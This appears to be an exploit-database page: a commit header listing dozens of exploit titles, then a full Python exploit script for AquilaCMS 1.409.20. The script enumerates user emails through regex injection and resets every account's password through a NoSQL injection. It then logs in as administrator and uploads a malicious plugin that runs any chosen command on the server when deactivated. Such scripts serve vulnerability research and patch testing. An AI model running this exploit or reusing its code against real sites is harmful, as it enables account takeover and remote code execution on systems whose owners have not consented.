
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
197 lines
No EOL
5.4 KiB
Python
Executable file
197 lines
No EOL
5.4 KiB
Python
Executable file
# Exploit Title: AquilaCMS 1.409.20 - Remote Command Execution (RCE)
|
|
# Date: 2024-10-25
|
|
# Exploit Author: Eui Chul Chung
|
|
# Vendor Homepage: https://www.aquila-cms.com/
|
|
# Software Link: https://github.com/AquilaCMS/AquilaCMS
|
|
# Version: v1.409.20
|
|
# CVE: CVE-2024-48572, CVE-2024-48573
|
|
|
|
|
|
import io
|
|
import json
|
|
import uuid
|
|
import string
|
|
import zipfile
|
|
import argparse
|
|
import requests
|
|
import textwrap
|
|
|
|
|
|
def unescape_special_characters(email):
|
|
return (
|
|
email.replace("[$]", "$")
|
|
.replace("[*]", "*")
|
|
.replace("[+]", "+")
|
|
.replace("[-]", "-")
|
|
.replace("[.]", ".")
|
|
.replace("[?]", "?")
|
|
.replace(r"[\^]", "^")
|
|
.replace("[|]", "|")
|
|
)
|
|
|
|
|
|
def get_user_emails():
|
|
valid_characters = list(
|
|
string.ascii_lowercase + string.digits + "!#%&'/=@_`{}~"
|
|
) + ["[$]", "[*]", "[+]", "[-]", "[.]", "[?]", r"[\^]", "[|]"]
|
|
|
|
emails_found = []
|
|
|
|
next_emails = ["^"]
|
|
while next_emails:
|
|
prev_emails = next_emails
|
|
next_emails = []
|
|
|
|
for email in prev_emails:
|
|
found = False
|
|
for ch in valid_characters:
|
|
data = {"email": f"{email + ch}.*"}
|
|
res = requests.put(f"{args.url}/api/v2/user", json=data)
|
|
|
|
if json.loads(res.text)["code"] == "UserAlreadyExist":
|
|
next_emails.append(email + ch)
|
|
found = True
|
|
|
|
if not found:
|
|
emails_found.append(email[1:])
|
|
print(f"[+] {unescape_special_characters(email[1:])}")
|
|
|
|
return emails_found
|
|
|
|
|
|
def reset_password(email):
|
|
data = {"email": email}
|
|
requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)
|
|
|
|
data = {"token": {"$ne": None}, "password": args.password}
|
|
requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)
|
|
|
|
print(f"[+] {unescape_special_characters(email)} : {args.password}")
|
|
|
|
|
|
def get_admin_auth_token(emails):
|
|
for email in emails:
|
|
data = {"username": email, "password": args.password}
|
|
res = requests.post(f"{args.url}/api/v2/auth/login/admin", json=data)
|
|
|
|
if res.status_code == 200:
|
|
print(f"[+] Administrator account : {unescape_special_characters(email)}")
|
|
return json.loads(res.text)["data"]
|
|
|
|
return None
|
|
|
|
|
|
def create_plugin(plugin_name):
|
|
payload = textwrap.dedent(
|
|
f"""
|
|
const {{ exec }} = require("child_process");
|
|
|
|
/**
|
|
* This function is called when the plugin is desactivated or when we delete it
|
|
*/
|
|
module.exports = async function (resolve, reject) {{
|
|
try {{
|
|
exec("{args.command}");
|
|
return resolve();
|
|
}} catch (error) {{}}
|
|
}};
|
|
"""
|
|
).strip()
|
|
|
|
plugin = io.BytesIO()
|
|
with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
|
|
zip_file.writestr(
|
|
f"{plugin_name}/package.json",
|
|
io.BytesIO(f'{{ "name": "{plugin_name}" }}'.encode()).getvalue(),
|
|
)
|
|
zip_file.writestr(
|
|
f"{plugin_name}/info.json", io.BytesIO(b'{ "info": {} }').getvalue()
|
|
)
|
|
zip_file.writestr(
|
|
f"{plugin_name}/uninit.js", io.BytesIO(payload.encode()).getvalue()
|
|
)
|
|
|
|
plugin.seek(0)
|
|
return plugin
|
|
|
|
|
|
def rce(emails):
|
|
auth_token = get_admin_auth_token(emails)
|
|
if auth_token is None:
|
|
print("[-] Administrator account not found")
|
|
return
|
|
|
|
print("[+] Create malicious plugin")
|
|
plugin_name = uuid.uuid4().hex
|
|
plugin = create_plugin(plugin_name)
|
|
|
|
print("[+] Upload plugin")
|
|
headers = {"Authorization": auth_token}
|
|
files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
|
|
requests.post(f"{args.url}/api/v2/modules/upload", headers=headers, files=files)
|
|
|
|
print("[+] Find uploaded plugin")
|
|
headers = {"Authorization": auth_token}
|
|
data = {"PostBody": {"limit": 0}}
|
|
res = requests.post(f"{args.url}/api/v2/modules", headers=headers, json=data)
|
|
|
|
plugin_id = None
|
|
for data in json.loads(res.text)["datas"]:
|
|
if data["name"] == plugin_name:
|
|
plugin_id = data["_id"]
|
|
print(f"[+] Plugin ID : {plugin_id}")
|
|
break
|
|
|
|
if plugin_id is None:
|
|
print("[-] Plugin not found")
|
|
return
|
|
|
|
print("[+] Deactivate plugin")
|
|
headers = {"Authorization": auth_token}
|
|
data = {"idModule": plugin_id, "active": False}
|
|
res = requests.post(f"{args.url}/api/v2/modules/toggle", headers=headers, json=data)
|
|
|
|
if res.status_code == 200:
|
|
print("[+] Command execution succeeded")
|
|
else:
|
|
print("[-] Command execution failed")
|
|
|
|
|
|
def main():
|
|
print("[*] Retrieve email addresses")
|
|
emails = get_user_emails()
|
|
|
|
print("\n[*] Reset password")
|
|
for email in emails:
|
|
reset_password(email)
|
|
|
|
print("\n[*] Perform remote code execution")
|
|
rce(emails)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument(
|
|
"-u",
|
|
dest="url",
|
|
help="Site URL (e.g. www.aquila-cms.com)",
|
|
type=str,
|
|
required=True,
|
|
)
|
|
parser.add_argument(
|
|
"-p",
|
|
dest="password",
|
|
help="Password to use for password reset (e.g. HaXX0r3d!)",
|
|
type=str,
|
|
default="HaXX0r3d!",
|
|
)
|
|
parser.add_argument(
|
|
"-c",
|
|
dest="command",
|
|
help="Command to execute (e.g. touch /tmp/pwned)",
|
|
type=str,
|
|
default="touch /tmp/pwned",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
main() |